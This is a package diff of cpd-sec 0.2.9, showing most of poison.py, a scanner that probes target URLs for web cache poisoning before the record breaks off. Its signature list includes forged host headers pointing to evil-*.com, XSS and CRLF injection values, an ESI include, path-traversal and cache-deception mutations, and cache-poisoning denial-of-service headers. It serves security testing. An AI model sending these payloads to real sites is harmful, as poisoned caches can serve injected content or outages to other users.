cpd-sec 0.2.9__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- cpd/__init__.py +0 -0
- cpd/cli.py +315 -0
- cpd/engine.py +90 -0
- cpd/http_client.py +36 -0
- cpd/logic/__init__.py +0 -0
- cpd/logic/baseline.py +58 -0
- cpd/logic/poison.py +481 -0
- cpd/logic/validator.py +60 -0
- cpd/main.py +4 -0
- cpd/utils/__init__.py +0 -0
- cpd/utils/logger.py +73 -0
- cpd/utils/parser.py +63 -0
- cpd_sec-0.2.9.dist-info/METADATA +153 -0
- cpd_sec-0.2.9.dist-info/RECORD +16 -0
- cpd_sec-0.2.9.dist-info/WHEEL +4 -0
- cpd_sec-0.2.9.dist-info/entry_points.txt +4 -0
cpd/logic/poison.py
ADDED
|
@@ -0,0 +1,481 @@
|
|
|
1
|
+
import time
|
|
2
|
+
import uuid
|
|
3
|
+
import random
|
|
4
|
+
from typing import List, Dict, Optional
|
|
5
|
+
from cpd.http_client import HttpClient
|
|
6
|
+
from cpd.logic.baseline import Baseline
|
|
7
|
+
from cpd.utils.logger import logger
|
|
8
|
+
|
|
9
|
+
class Poisoner:
|
|
10
|
+
def __init__(self, baseline: Baseline, headers: Dict[str, str] = None):
|
|
11
|
+
self.baseline = baseline
|
|
12
|
+
self.headers = headers or {}
|
|
13
|
+
self.payload_id = str(uuid.uuid4())[:8]
|
|
14
|
+
# Advanced poisoning signatures based on public writeups (HackerOne, Bugcrowd)
|
|
15
|
+
self.signatures = [
|
|
16
|
+
# Host Header Manipulation
|
|
17
|
+
{"name": "X-Forwarded-Host", "header": "X-Forwarded-Host", "value": f"evil-{self.payload_id}.com"},
|
|
18
|
+
{"name": "X-Host", "header": "X-Host", "value": f"evil-{self.payload_id}.com"},
|
|
19
|
+
{"name": "X-Forwarded-Server", "header": "X-Forwarded-Server", "value": f"evil-{self.payload_id}.com"},
|
|
20
|
+
{"name": "X-HTTP-Host-Override", "header": "X-HTTP-Host-Override", "value": f"evil-{self.payload_id}.com"},
|
|
21
|
+
{"name": "Forwarded", "header": "Forwarded", "value": f"host=evil-{self.payload_id}.com;for=127.0.0.1"},
|
|
22
|
+
|
|
23
|
+
# Request Line / Path Overrides
|
|
24
|
+
{"name": "X-Original-URL", "header": "X-Original-URL", "value": f"/poison-{self.payload_id}"},
|
|
25
|
+
{"name": "X-Rewrite-URL", "header": "X-Rewrite-URL", "value": f"/poison-{self.payload_id}"},
|
|
26
|
+
|
|
27
|
+
# Protocol / Port Manipulation
|
|
28
|
+
{"name": "X-Forwarded-Scheme", "type": "method_override", "header": "X-Forwarded-Scheme", "value": "http"},
|
|
29
|
+
{"name": "X-Forwarded-Proto", "type": "method_override", "header": "X-Forwarded-Proto", "value": "http"},
|
|
30
|
+
{"name": "X-Forwarded-Port", "header": "X-Forwarded-Port", "value": "1111"},
|
|
31
|
+
{"name": "X-Forwarded-Prefix", "header": "X-Forwarded-Prefix", "value": f"/evil-{self.payload_id}"},
|
|
32
|
+
|
|
33
|
+
# Header Reflection / Injection targets
|
|
34
|
+
{"name": "Valid-User-Agent", "header": "User-Agent", "value": f"<script>alert('{self.payload_id}')</script>"},
|
|
35
|
+
{"name": "Origin-Reflect", "header": "Origin", "value": f"https://evil-{self.payload_id}.com"},
|
|
36
|
+
{"name": "Accept-Language", "header": "Accept-Language", "value": f"en-evil-{self.payload_id}"},
|
|
37
|
+
{"name": "Accept-Language", "header": "Accept-Language", "value": f"en-evil-{self.payload_id}"},
|
|
38
|
+
|
|
39
|
+
# Path Normalization / Traversal (User Requested)
|
|
40
|
+
{"name": "Backslash-Path-Replace", "type": "path", "mutation": "backslash_replace"},
|
|
41
|
+
{"name": "Backslash-Last-Path-Replace", "type": "path", "mutation": "backslash_last_slash"},
|
|
42
|
+
|
|
43
|
+
# Fat GET (Body Poisoning)
|
|
44
|
+
{"name": "Fat-GET", "type": "fat_get", "header": "X-Poison-Fat", "value": f"evil-{self.payload_id}"},
|
|
45
|
+
|
|
46
|
+
# CDN / IP Forwarding
|
|
47
|
+
{"name": "Fastly-Client-IP", "header": "Fastly-Client-IP", "value": "8.8.8.8"},
|
|
48
|
+
{"name": "True-Client-IP", "header": "True-Client-IP", "value": "127.0.0.1"},
|
|
49
|
+
{"name": "CF-Connecting-IP", "header": "CF-Connecting-IP", "value": "127.0.0.1"},
|
|
50
|
+
{"name": "X-Real-IP", "header": "X-Real-IP", "value": "127.0.0.1"},
|
|
51
|
+
{"name": "X-Forwarded-For-IP", "header": "X-Forwarded-For", "value": "127.0.0.1"},
|
|
52
|
+
{"name": "Client-IP", "header": "Client-IP", "value": "127.0.0.1"},
|
|
53
|
+
|
|
54
|
+
# Method Override (Behavioral)
|
|
55
|
+
{"name": "Method-Override-POST", "type": "method_override", "header": "X-HTTP-Method-Override", "value": "POST"},
|
|
56
|
+
{"name": "Method-Override-PUT", "type": "method_override", "header": "X-HTTP-Method-Override", "value": "PUT"},
|
|
57
|
+
|
|
58
|
+
# Unkeyed Query Parameter
|
|
59
|
+
{"name": "Unkeyed-Param", "type": "query_param", "param": "utm_content", "value": f"evil-{self.payload_id}"},
|
|
60
|
+
{"name": "Parameter-Pollution", "type": "query_param", "param": "utm_source", "value": f"evil-{self.payload_id}"},
|
|
61
|
+
|
|
62
|
+
# Header Reflection / Injection targets (Extended)
|
|
63
|
+
{"name": "X-Forwarded-SSL", "header": "X-Forwarded-SSL", "value": "on"},
|
|
64
|
+
{"name": "X-Cluster-Client-IP", "header": "X-Cluster-Client-IP", "value": "127.0.0.1"},
|
|
65
|
+
{"name": "Akamai-Pragma", "header": "Pragma", "value": "akamai-x-cache-on"},
|
|
66
|
+
{"name": "CF-Cache-Status", "header": "CF-Cache-Status", "value": "DYNAMIC"},
|
|
67
|
+
{"name": "Referer-Reflect", "header": "Referer", "value": f"https://evil-{self.payload_id}.com"},
|
|
68
|
+
{"name": "Cache-Control-Poison", "header": "Cache-Control", "value": "public, max-age=3600"},
|
|
69
|
+
{"name": "X-Original-Host", "header": "X-Original-Host", "value": f"evil-{self.payload_id}.com"},
|
|
70
|
+
{"name": "X-Forwarded-Path", "header": "X-Forwarded-Path", "value": f"/poison-{self.payload_id}"},
|
|
71
|
+
{"name": "Surrogate-Control", "header": "Surrogate-Control", "value": "max-age=3600"},
|
|
72
|
+
{"name": "Vary-Manipulation", "header": "Vary", "value": "X-Forwarded-Host"},
|
|
73
|
+
{"name": "Accept-Encoding-Reflect", "header": "Accept-Encoding", "value": f"evil-{self.payload_id}"},
|
|
74
|
+
{"name": "TE-Trailers", "type": "method_override", "header": "Transfer-Encoding", "value": "trailers"},
|
|
75
|
+
{"name": "CRLF-Injection", "header": "X-Custom-Header", "value": f"%0d%0aSet-Cookie: evil={self.payload_id}"},
|
|
76
|
+
{"name": "HAV-Cookie-Reflect", "header": "hav", "value": f"<script>alert('{self.payload_id}')</script>"},
|
|
77
|
+
|
|
78
|
+
# WCD
|
|
79
|
+
{"name": "Web-Cache-Deception", "type": "path", "mutation": "append_css", "value": f"/static/style.css?poison={self.payload_id}"},
|
|
80
|
+
|
|
81
|
+
# Vercel / Next.js Targets
|
|
82
|
+
{"name": "Vercel-IP-Country-US", "type": "method_override", "header": "x-vercel-ip-country", "value": "US"},
|
|
83
|
+
{"name": "Vercel-Forwarded-For", "type": "method_override", "header": "x-vercel-forwarded-for", "value": "127.0.0.1"},
|
|
84
|
+
{"name": "NextJS-RSC", "type": "method_override", "header": "RSC", "value": "1"},
|
|
85
|
+
{"name": "NextJS-Router-State", "type": "method_override", "header": "Next-Router-State-Tree", "value": "1"},
|
|
86
|
+
|
|
87
|
+
# Next.js Prefetch / Data Poisoning
|
|
88
|
+
{"name": "NextJS-Middleware-Prefetch", "type": "method_override", "header": "X-Middleware-Prefetch", "value": "1"},
|
|
89
|
+
{"name": "X-Middleware-Prefetch-Poison", "type": "method_override", "header": "X-Middleware-Prefetch", "value": "poison"},
|
|
90
|
+
{"name": "NextJS-Data", "type": "method_override", "header": "X-Nextjs-Data", "value": "1"},
|
|
91
|
+
{"name": "NextJS-Purpose-Prefetch", "type": "method_override", "header": "Purpose", "value": "prefetch"},
|
|
92
|
+
{"name": "NextJS-Cache-Poison", "type": "method_override", "header": "Next-Router-Prefetch", "value": "1"},
|
|
93
|
+
|
|
94
|
+
# Range Header Poisoning (DoS)
|
|
95
|
+
{"name": "Range-Poisoning", "type": "method_override", "header": "Range", "value": "bytes=0-0"},
|
|
96
|
+
|
|
97
|
+
# === CloudFront & AWS-specific ===
|
|
98
|
+
{"name": "CloudFront-Viewer-Country", "method_override": "true", "header": "CloudFront-Viewer-Country", "value": "US"},
|
|
99
|
+
{"name": "CloudFront-Is-Mobile", "type": "method_override", "header": "CloudFront-Is-Mobile-Viewer", "value": "true"},
|
|
100
|
+
{"name": "CloudFront-Is-Desktop", "type": "method_override", "header": "CloudFront-Is-Desktop-Viewer", "value": "true"},
|
|
101
|
+
{"name": "CloudFront-Forwarded-Proto", "type": "method_override", "header": "CloudFront-Forwarded-Proto", "value": "http"},
|
|
102
|
+
|
|
103
|
+
# === Akamai-specific ===
|
|
104
|
+
{"name": "Akamai-Origin-Hop", "header": "Akamai-Origin-Hop", "value": f"evil-{self.payload_id}.com"},
|
|
105
|
+
{"name": "True-Client-IP-Akamai", "header": "True-Client-IP", "value": f"127.0.0.1; host=evil-{self.payload_id}.com"},
|
|
106
|
+
|
|
107
|
+
# === Fastly Advanced ===
|
|
108
|
+
{"name": "Fastly-FF", "header": "Fastly-FF", "value": f"!cache-{self.payload_id}"},
|
|
109
|
+
{"name": "Fastly-SSL", "type": "method_override", "header": "Fastly-SSL", "value": "0"},
|
|
110
|
+
{"name": "Surrogate-Capability", "header": "Surrogate-Capability", "value": f"abc=ESI/1.0; evil-{self.payload_id}"},
|
|
111
|
+
|
|
112
|
+
# === Cache-Control Manipulation ===
|
|
113
|
+
{"name": "Cache-Control-Override", "header": "X-Cache-Control", "value": "no-cache"},
|
|
114
|
+
{"name": "Pragma-Override", "header": "X-Pragma", "value": f"poison-{self.payload_id}"},
|
|
115
|
+
|
|
116
|
+
# === Vary Header Exploitation ===
|
|
117
|
+
{"name": "Accept-Encoding-Vary", "header": "Accept-Encoding", "value": f"gzip;poison={self.payload_id}"},
|
|
118
|
+
{"name": "Accept-Vary", "header": "Accept", "value": f"text/html;version={self.payload_id}"},
|
|
119
|
+
{"name": "Cookie-Vary", "header": "Cookie", "value": f"cache_poison={self.payload_id}"},
|
|
120
|
+
|
|
121
|
+
# === Referer-based Cache Keys ===
|
|
122
|
+
{"name": "Referer-Poison", "header": "Referer", "value": f"https://evil-{self.payload_id}.com/"},
|
|
123
|
+
{"name": "Referrer-Policy", "header": "Referrer-Policy", "value": f"unsafe-url; poison={self.payload_id}"},
|
|
124
|
+
|
|
125
|
+
# === Content Negotiation ===
|
|
126
|
+
{"name": "Accept-Charset", "header": "Accept-Charset", "value": f"utf-8;poison={self.payload_id}"},
|
|
127
|
+
{"name": "Content-Type-Override", "header": "Content-Type", "value": f"text/html;charset=utf-{self.payload_id}"},
|
|
128
|
+
|
|
129
|
+
# === Authentication/Session Headers (Unkeyed) ===
|
|
130
|
+
{"name": "Authorization-Unkeyed", "header": "Authorization", "value": f"Bearer poison-{self.payload_id}"},
|
|
131
|
+
{"name": "X-API-Key-Unkeyed", "header": "X-API-Key", "value": f"poison-{self.payload_id}"},
|
|
132
|
+
{"name": "X-Auth-Token", "header": "X-Auth-Token", "value": f"poison-{self.payload_id}"},
|
|
133
|
+
|
|
134
|
+
# === Edge-Side Includes (ESI) Injection ===
|
|
135
|
+
{"name": "ESI-Include", "header": "X-ESI", "value": f"<esi:include src='https://evil-{self.payload_id}.com'/>"},
|
|
136
|
+
|
|
137
|
+
# === WebSocket/Upgrade Headers ===
|
|
138
|
+
{"name": "Upgrade-Header", "header": "Upgrade", "value": f"websocket; poison={self.payload_id}"},
|
|
139
|
+
{"name": "Connection-Upgrade", "header": "Connection", "value": f"Upgrade, poison-{self.payload_id}"},
|
|
140
|
+
|
|
141
|
+
# === Custom CDN Headers ===
|
|
142
|
+
{"name": "X-CDN-Forward", "header": "X-CDN-Forward", "value": f"evil-{self.payload_id}.com"},
|
|
143
|
+
{"name": "X-Edge-Location", "header": "X-Edge-Location", "value": f"poison-{self.payload_id}"},
|
|
144
|
+
{"name": "X-Cache-Key", "header": "X-Cache-Key", "value": f"poison-{self.payload_id}"},
|
|
145
|
+
|
|
146
|
+
# === URL Encoding Bypass ===
|
|
147
|
+
{"name": "X-Forwarded-Host-Encoded", "header": "X-Forwarded-Host", "value": f"evil-{self.payload_id}.com%00"},
|
|
148
|
+
{"name": "X-Original-URL-Encoded", "header": "X-Original-URL", "value": f"/%2e%2e/poison-{self.payload_id}"},
|
|
149
|
+
|
|
150
|
+
# === Normalized Path Attacks ===
|
|
151
|
+
{"name": "Path-Dot-Segment", "type": "path", "mutation": "dot_segment", "value": f"/./poison-{self.payload_id}"},
|
|
152
|
+
{"name": "Path-Double-Dot", "type": "path", "mutation": "double_dot", "value": f"/../poison-{self.payload_id}"},
|
|
153
|
+
{"name": "Path-Encoded-Slash", "type": "path", "mutation": "encoded_slash", "value": f"/%2fpoison-{self.payload_id}"},
|
|
154
|
+
|
|
155
|
+
# === Request Smuggling Related ===
|
|
156
|
+
{"name": "Transfer-Encoding", "type": "method_override", "header": "Transfer-Encoding", "value": f"chunked; poison={self.payload_id}"},
|
|
157
|
+
{"name": "Content-Length-Mismatch", "type": "method_override", "header": "Content-Length", "value": "0"},
|
|
158
|
+
{"name": "X-HTTP-Method", "type": "method_override", "header": "X-HTTP-Method", "value": f"POST; poison={self.payload_id}"},
|
|
159
|
+
|
|
160
|
+
# === Mobile/Device Detection ===
|
|
161
|
+
{"name": "X-Device-Type", "header": "X-Device-Type", "value": f"mobile-{self.payload_id}"},
|
|
162
|
+
{"name": "X-Mobile-Group", "header": "X-Mobile-Group", "value": f"poison-{self.payload_id}"},
|
|
163
|
+
{"name": "X-Tablet-Device", "type": "method_override", "header": "X-Tablet-Device", "value": "true"},
|
|
164
|
+
|
|
165
|
+
# === Geo-Location Headers ===
|
|
166
|
+
{"name": "X-Country-Code", "header": "X-Country-Code", "value": f"XX-{self.payload_id}"},
|
|
167
|
+
{"name": "X-GeoIP-Country", "header": "X-GeoIP-Country", "value": f"POISON-{self.payload_id}"},
|
|
168
|
+
{"name": "CF-IPCountry", "header": "CF-IPCountry", "value": f"XX-{self.payload_id}"},
|
|
169
|
+
|
|
170
|
+
# === Custom Framework Headers ===
|
|
171
|
+
{"name": "X-Laravel-Cache", "header": "X-Laravel-Cache", "value": f"poison-{self.payload_id}"},
|
|
172
|
+
{"name": "X-Drupal-Cache", "header": "X-Drupal-Cache", "value": f"poison-{self.payload_id}"},
|
|
173
|
+
{"name": "X-WordPress-Cache", "header": "X-WordPress-Cache", "value": f"poison-{self.payload_id}"},
|
|
174
|
+
|
|
175
|
+
# === CORS-related ===
|
|
176
|
+
{"name": "Access-Control-Request-Method", "header": "Access-Control-Request-Method", "value": f"POST; poison={self.payload_id}"},
|
|
177
|
+
{"name": "Access-Control-Request-Headers", "header": "Access-Control-Request-Headers", "value": f"X-Poison-{self.payload_id}"},
|
|
178
|
+
|
|
179
|
+
# === Proxy/Load Balancer Detection ===
|
|
180
|
+
{"name": "X-ProxyUser-Ip", "header": "X-ProxyUser-Ip", "value": "127.0.0.1"},
|
|
181
|
+
{"name": "WL-Proxy-Client-IP", "header": "WL-Proxy-Client-IP", "value": "127.0.0.1"},
|
|
182
|
+
{"name": "Via-Header", "header": "Via", "value": f"1.1 poison-{self.payload_id}.com"},
|
|
183
|
+
|
|
184
|
+
# === API Gateway Specific ===
|
|
185
|
+
{"name": "X-Amzn-Trace-Id", "header": "X-Amzn-Trace-Id", "value": f"Root=1-{self.payload_id}"},
|
|
186
|
+
{"name": "X-API-Version", "header": "X-API-Version", "value": f"poison-{self.payload_id}"},
|
|
187
|
+
{"name": "X-Gateway-Host", "header": "X-Gateway-Host", "value": f"evil-{self.payload_id}.com"},
|
|
188
|
+
|
|
189
|
+
# === Special Characters in Headers ===
|
|
190
|
+
{"name": "Host-Newline-Injection", "header": "Host", "value": f"legitimate.com\r\nX-Poison: {self.payload_id}"},
|
|
191
|
+
{"name": "X-Forwarded-CRLF", "header": "X-Forwarded-Host", "value": f"evil.com\r\nX-Poison: {self.payload_id}"},
|
|
192
|
+
|
|
193
|
+
# === Cache Deception ===
|
|
194
|
+
{"name": "Path-Static-Extension", "type": "path", "mutation": "static_extension", "value": f"/profile.css?poison={self.payload_id}"},
|
|
195
|
+
{"name": "Path-Delimiter-Bypass", "type": "path", "mutation": "delimiter", "value": f"/api;.css?poison={self.payload_id}"},
|
|
196
|
+
|
|
197
|
+
# === Query Parameter Mutations ===
|
|
198
|
+
{"name": "Unkeyed-CB", "type": "query_param", "param": "cb", "value": f"{self.payload_id}"},
|
|
199
|
+
{"name": "Unkeyed-Callback", "type": "query_param", "param": "callback", "value": f"poison_{self.payload_id}"},
|
|
200
|
+
{"name": "Unkeyed-JSONP", "type": "query_param", "param": "jsonp", "value": f"evil_{self.payload_id}"},
|
|
201
|
+
{"name": "Unkeyed-UTM-Source", "type": "query_param", "param": "utm_source", "value": f"poison-{self.payload_id}"},
|
|
202
|
+
{"name": "Unkeyed-UTM-Campaign", "type": "query_param", "param": "utm_campaign", "value": f"poison-{self.payload_id}"},
|
|
203
|
+
{"name": "Unkeyed-FbClid", "type": "query_param", "param": "fbclid", "value": f"poison_{self.payload_id}"},
|
|
204
|
+
{"name": "Unkeyed-GClid", "type": "query_param", "param": "gclid", "value": f"poison_{self.payload_id}"},
|
|
205
|
+
{"name": "Param-Cloaking-Semi", "type": "query_param", "param": "cb;poison", "value": f"evil-{self.payload_id}"},
|
|
206
|
+
|
|
207
|
+
# === CPDoS (Cache Poisoning Denial of Service) ===
|
|
208
|
+
{"name": "CPDoS-HMO-Connect", "type": "method_override", "header": "X-HTTP-Method-Override", "value": "CONNECT"},
|
|
209
|
+
{"name": "CPDoS-HMO-Track", "type": "method_override", "header": "X-HTTP-Method-Override", "value": "TRACK"},
|
|
210
|
+
{"name": "CPDoS-HHO-Oversize", "type": "method_override", "header": "X-Oversized-Header", "value": "A" * 4000},
|
|
211
|
+
|
|
212
|
+
# === Framework & Cloud Specific ===
|
|
213
|
+
{"name": "IIS-Translate-F", "header": "Translate", "value": "f"},
|
|
214
|
+
{"name": "AWS-S3-Redirect", "header": "x-amz-website-redirect-location", "value": f"/evil-{self.payload_id}"},
|
|
215
|
+
{"name": "Symfony-Debug-Host", "header": "X-Backend-Host", "value": f"evil-{self.payload_id}.com"},
|
|
216
|
+
{"name": "Magento-Base-Url", "header": "X-Forwarded-Base-Url", "value": f"http://evil-{self.payload_id}.com"},
|
|
217
|
+
{"name": "Akamai-Pragma-Expanded", "header": "Pragma", "value": "akamai-x-get-cache-key, akamai-x-get-true-cache-key, akamai-x-get-request-id"},
|
|
218
|
+
{"name": "NextJS-Next-Url", "header": "x-next-url", "value": f"/evil-{self.payload_id}"},
|
|
219
|
+
|
|
220
|
+
# === Additional Routing/Geo ===
|
|
221
|
+
{"name": "X-Original-Request-URI", "header": "X-Original-Request-URI", "value": f"/poison-{self.payload_id}"},
|
|
222
|
+
{"name": "X-Forwarded-Context", "header": "X-Forwarded-Context", "value": f"evil-{self.payload_id}"},
|
|
223
|
+
{"name": "Base-Url", "header": "Base-Url", "value": f"http://evil-{self.payload_id}.com"},
|
|
224
|
+
{"name": "X-Forwarded-Ssl-Off", "type": "method_override", "header": "X-Forwarded-Ssl", "value": "off"},
|
|
225
|
+
{"name": "Front-End-Https-Off", "type": "method_override", "header": "Front-End-Https", "value": "off"},
|
|
226
|
+
{"name": "X-Forwarded-By", "header": "X-Forwarded-By", "value": "127.0.0.1"},
|
|
227
|
+
{"name": "X-Originating-IP", "header": "X-Originating-IP", "value": "127.0.0.1"},
|
|
228
|
+
{"name": "X-Remote-IP", "header": "X-Remote-IP", "value": "127.0.0.1"},
|
|
229
|
+
|
|
230
|
+
# === Content Negotiation ===
|
|
231
|
+
{"name": "Accept-Json", "header": "Accept", "value": "application/json"},
|
|
232
|
+
{"name": "Accept-Xml", "header": "Accept", "value": "application/xml"},
|
|
233
|
+
|
|
234
|
+
]
|
|
235
|
+
|
|
236
|
+
async def run(self, client: HttpClient) -> List[Dict]:
|
|
237
|
+
"""
|
|
238
|
+
Execute poisoning attacks.
|
|
239
|
+
"""
|
|
240
|
+
logger.info(f"Starting poisoning attempts on {self.baseline.url}")
|
|
241
|
+
|
|
242
|
+
import asyncio
|
|
243
|
+
findings = []
|
|
244
|
+
for sig in self.signatures:
|
|
245
|
+
# Schedule each signature test as a concurrent task
|
|
246
|
+
findings.append(asyncio.create_task(self._attempt_poison(client, sig)))
|
|
247
|
+
|
|
248
|
+
results = await asyncio.gather(*findings)
|
|
249
|
+
|
|
250
|
+
# Filter None results
|
|
251
|
+
valid_findings = [r for r in results if r]
|
|
252
|
+
return valid_findings
|
|
253
|
+
|
|
254
|
+
async def _attempt_poison(self, client: HttpClient, signature: Dict[str, str]) -> Optional[Dict]:
|
|
255
|
+
cache_buster = f"cb={int(time.time())}_{random.randint(1000,9999)}"
|
|
256
|
+
headers = self.headers.copy()
|
|
257
|
+
|
|
258
|
+
# Determine URLs based on signature type
|
|
259
|
+
if signature.get("type") == "path":
|
|
260
|
+
# Mutation logic
|
|
261
|
+
if signature["mutation"] == "backslash_replace":
|
|
262
|
+
# Replace valid path separators with backslashes
|
|
263
|
+
# e.g. https://example.com/foo/bar -> https://example.com\foo\bar
|
|
264
|
+
from urllib.parse import urlparse
|
|
265
|
+
parsed = urlparse(self.baseline.url)
|
|
266
|
+
|
|
267
|
+
# Reconstruct with backslashes in path
|
|
268
|
+
malicious_path = parsed.path.replace('/', '\\')
|
|
269
|
+
if not malicious_path or malicious_path == '\\':
|
|
270
|
+
malicious_path = '\\' # Ensure at least root
|
|
271
|
+
|
|
272
|
+
# Rebuild URL: scheme://netloc + malicious_path + query
|
|
273
|
+
# We append cache buster manually
|
|
274
|
+
target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
|
|
275
|
+
verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
|
|
276
|
+
|
|
277
|
+
elif signature["mutation"] == "backslash_last_slash":
|
|
278
|
+
# Replace ONLY the LAST slash in the path with a backslash
|
|
279
|
+
# e.g. /path1/subpath/path -> /path1/subpath\path
|
|
280
|
+
from urllib.parse import urlparse
|
|
281
|
+
parsed = urlparse(self.baseline.url)
|
|
282
|
+
path = parsed.path
|
|
283
|
+
|
|
284
|
+
if '/' in path:
|
|
285
|
+
# Rfind to locate last slash, replace it
|
|
286
|
+
last_slash_index = path.rfind('/')
|
|
287
|
+
# Be careful if it's the very first char and only char e.g. "/"
|
|
288
|
+
if last_slash_index != -1:
|
|
289
|
+
malicious_path = path[:last_slash_index] + '\\' + path[last_slash_index+1:]
|
|
290
|
+
if malicious_path == '\\':
|
|
291
|
+
pass # "/" -> "\" is same as replace all, effectively
|
|
292
|
+
else:
|
|
293
|
+
malicious_path = path
|
|
294
|
+
else:
|
|
295
|
+
malicious_path = path
|
|
296
|
+
|
|
297
|
+
target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
|
|
298
|
+
verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
|
|
299
|
+
|
|
300
|
+
elif signature["mutation"] == "append_css" or signature["mutation"] == "static_extension":
|
|
301
|
+
# Web Cache Deception: Append non-existent static extension
|
|
302
|
+
# e.g. /my/account -> /my/account/style.css?poison=123
|
|
303
|
+
from urllib.parse import urlparse
|
|
304
|
+
parsed = urlparse(self.baseline.url)
|
|
305
|
+
path = parsed.path
|
|
306
|
+
|
|
307
|
+
# If path is /foo and value is /bar.css -> /foo/bar.css
|
|
308
|
+
if path.endswith('/'):
|
|
309
|
+
malicious_path = path.rstrip('/') + signature['value']
|
|
310
|
+
else:
|
|
311
|
+
malicious_path = path + signature['value']
|
|
312
|
+
|
|
313
|
+
target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}&{cache_buster}" if '?' in malicious_path else f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
|
|
314
|
+
verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
|
|
315
|
+
|
|
316
|
+
elif signature["mutation"] in ["dot_segment", "double_dot", "delimiter"]:
|
|
317
|
+
# Path encodings/traversals
|
|
318
|
+
# dot_segment: /path + /./poison
|
|
319
|
+
# double_dot: /path + /../poison
|
|
320
|
+
# delimiter: /path + ;.css
|
|
321
|
+
from urllib.parse import urlparse
|
|
322
|
+
parsed = urlparse(self.baseline.url)
|
|
323
|
+
path = parsed.path
|
|
324
|
+
|
|
325
|
+
malicious_path = path + signature['value']
|
|
326
|
+
|
|
327
|
+
target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
|
|
328
|
+
verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
|
|
329
|
+
|
|
330
|
+
elif signature["mutation"] == "encoded_slash":
|
|
331
|
+
# Encoded slash: replace / with %2f or append
|
|
332
|
+
# value: /%2fpoison
|
|
333
|
+
from urllib.parse import urlparse
|
|
334
|
+
parsed = urlparse(self.baseline.url)
|
|
335
|
+
path = parsed.path
|
|
336
|
+
|
|
337
|
+
malicious_path = path + signature['value']
|
|
338
|
+
|
|
339
|
+
target_url = f"{parsed.scheme}://{parsed.netloc}{malicious_path}?{cache_buster}"
|
|
340
|
+
verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
|
|
341
|
+
|
|
342
|
+
|
|
343
|
+
elif signature.get("type") == "fat_get":
|
|
344
|
+
# Fat GET: Send GET request with a body
|
|
345
|
+
target_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
|
|
346
|
+
verify_url = target_url
|
|
347
|
+
|
|
348
|
+
elif signature.get("type") == "query_param":
|
|
349
|
+
# Inject parameter into URL
|
|
350
|
+
# e.g. /?cb=123&utm_content=evil
|
|
351
|
+
param_str = f"{signature['param']}={signature['value']}"
|
|
352
|
+
target_url = f"{self.baseline.url}?{cache_buster}&{param_str}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}&{param_str}"
|
|
353
|
+
# Check if clean request gets poisoned content
|
|
354
|
+
verify_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
|
|
355
|
+
|
|
356
|
+
else:
|
|
357
|
+
# Standard Header Poisoning (and Method Override)
|
|
358
|
+
target_url = f"{self.baseline.url}?{cache_buster}" if '?' not in self.baseline.url else f"{self.baseline.url}&{cache_buster}"
|
|
359
|
+
verify_url = target_url
|
|
360
|
+
headers[signature['header']] = signature['value']
|
|
361
|
+
|
|
362
|
+
logger.debug(f"Attempting {signature['name']} on {target_url}")
|
|
363
|
+
|
|
364
|
+
body = None
|
|
365
|
+
if signature.get("type") == "fat_get":
|
|
366
|
+
body = f"callback=evil{self.payload_id}"
|
|
367
|
+
|
|
368
|
+
resp = await client.request("GET", target_url, headers=headers, data=body)
|
|
369
|
+
if not resp:
|
|
370
|
+
return
|
|
371
|
+
|
|
372
|
+
# Optimization: If the "poisoned" response is identical to the baseline,
|
|
373
|
+
# it likely means the server normalized the request or ignored the header/method.
|
|
374
|
+
# This prevents "Backslash" or "Method Override" false positives where the
|
|
375
|
+
# server just serves the standard content (Aliasing/Normalization).
|
|
376
|
+
if signature.get("type") in ["path", "method_override"]:
|
|
377
|
+
# Check length first for speed
|
|
378
|
+
if len(resp['body']) == len(self.baseline.body):
|
|
379
|
+
if resp['body'] == self.baseline.body:
|
|
380
|
+
logger.debug(f"Ignored {signature['name']} - Poison response identical to baseline (Benign Normalization/Aliasing)")
|
|
381
|
+
return None
|
|
382
|
+
|
|
383
|
+
# Additional check: If standard hash matches (in case body object differs but content same)
|
|
384
|
+
import hashlib
|
|
385
|
+
resp_hash = hashlib.sha256(resp['body']).hexdigest()
|
|
386
|
+
if resp_hash == self.baseline.body_hash:
|
|
387
|
+
logger.debug(f"Ignored {signature['name']} - Poison hash identical to baseline hash")
|
|
388
|
+
return None
|
|
389
|
+
|
|
390
|
+
# 2. Verification Request (Clean URL with same cache key/buster)
|
|
391
|
+
verify_resp = await client.request("GET", verify_url, headers=self.headers)
|
|
392
|
+
if not verify_resp:
|
|
393
|
+
return
|
|
394
|
+
|
|
395
|
+
if signature.get("type") in ["path", "method_override"]:
|
|
396
|
+
# Calculate verify hash
|
|
397
|
+
import hashlib
|
|
398
|
+
verify_hash = hashlib.sha256(verify_resp['body']).hexdigest()
|
|
399
|
+
|
|
400
|
+
if verify_resp['body'] == resp['body'] and verify_hash != self.baseline.body_hash:
|
|
401
|
+
verify_resp_2 = await client.request("GET", verify_url, headers=self.headers)
|
|
402
|
+
if not verify_resp_2:
|
|
403
|
+
return None
|
|
404
|
+
|
|
405
|
+
verify_hash_2 = hashlib.sha256(verify_resp_2['body']).hexdigest()
|
|
406
|
+
|
|
407
|
+
if verify_hash != verify_hash_2:
|
|
408
|
+
logger.debug(f"Ignored {signature['name']} - Target appears dynamic (verification requests differed)")
|
|
409
|
+
return None
|
|
410
|
+
|
|
411
|
